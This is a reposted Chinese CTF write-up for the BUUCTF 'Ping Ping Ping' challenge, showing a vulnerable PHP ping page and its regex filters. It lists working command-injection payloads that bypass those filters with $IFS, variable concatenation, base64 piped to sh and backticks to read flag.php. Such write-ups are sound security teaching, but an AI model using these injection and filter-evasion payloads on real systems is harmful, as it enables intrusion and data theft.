IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUUCTF-[GXYCTF2019]Ping Ping Ping1 -> 正文阅读

[PHP知识库]BUUCTF-[GXYCTF2019]Ping Ping Ping1

目录

题目:?

分析:?

方法:

方法1:

方法2:

方法3:


题目:

?提示get传入一个ip的值,猜测是exec函数执行一个外部程序。

分析:?

使用;同时执行前面和后面的命令

相关知识点

payload:?ip=127.0.0.1;ls

发现flag

payload:?ip=127.0.0.1;tac flag.php

?

通过测试发现,过滤了空格、<、>、{、}、flag、*、?、'、"、)、[、]、/等

在linux 空格可以用以下字符串代替:

%09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、< 、<>、%20(space)等
//<>需要写的权限

?

payload:?ip=127.0.0.1;tac$IFS$9f\l\a\g.php

发现对于flag的过滤使用的是f.*l.*a.*g

?.*表示匹配除换行符 \n 之外的任何单字符0次或多次

?

所以没找到源码之前都不知道如何过滤的,所以先查看源码试试

payload:?ip=127.0.0.1;cat$IFS$9index.php

源码:

打开发现开头不对劲,不是正常的php代码格式,查看源代码发现前面被注释了

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

方法:

方法1:

变量拼接字符串

shell可以使用变量来拼接字符串,当做命令来使用,shell类型不一样可能会有些不同。一般用的是bash?

?

payload:?ip=127.0.0.1;b=ag.php;a=fl;tac$IFS$9$a$b 

?

方法2:

//使用管道符
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
然后查看源代码

sh是bash的缩减版本,但大多数命令都是一样的,这里的sh本来为bash,但bash被过滤我们就用sh。

|是管道符,意思为把|前的语句执行结果作为|后面的输入数据。Y2F0IGZsYWcucGhw经过base64解码后就是cat flag.php。base64$IFS$1-d就是base64 -d,-d就是-decode解码。
整句内容:?ip=127.0.0.1;echo Y2F0IGZsYWcucGhw|base64 -d|sh =》?ip=127.0.0.1;echo cat flag.php|sh =》?ip=127.0.0.1;cat flag.php

?

方法3:

?内联执行:

反引号在linux中作为内联执行,内联,就是将反引号内命令的输出作为输入执行

payload:?ip=127.0.0.1;cat$IFS$9`ls`

//
``能当做system一样执行ls命令,ls的结果为flag.php和index.php
所以意思为:
?ip=127.0.0.1;cat flag.php index.php
然后查看源代码

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-14 13:05:46  更:2021-09-14 13:06:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:16:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码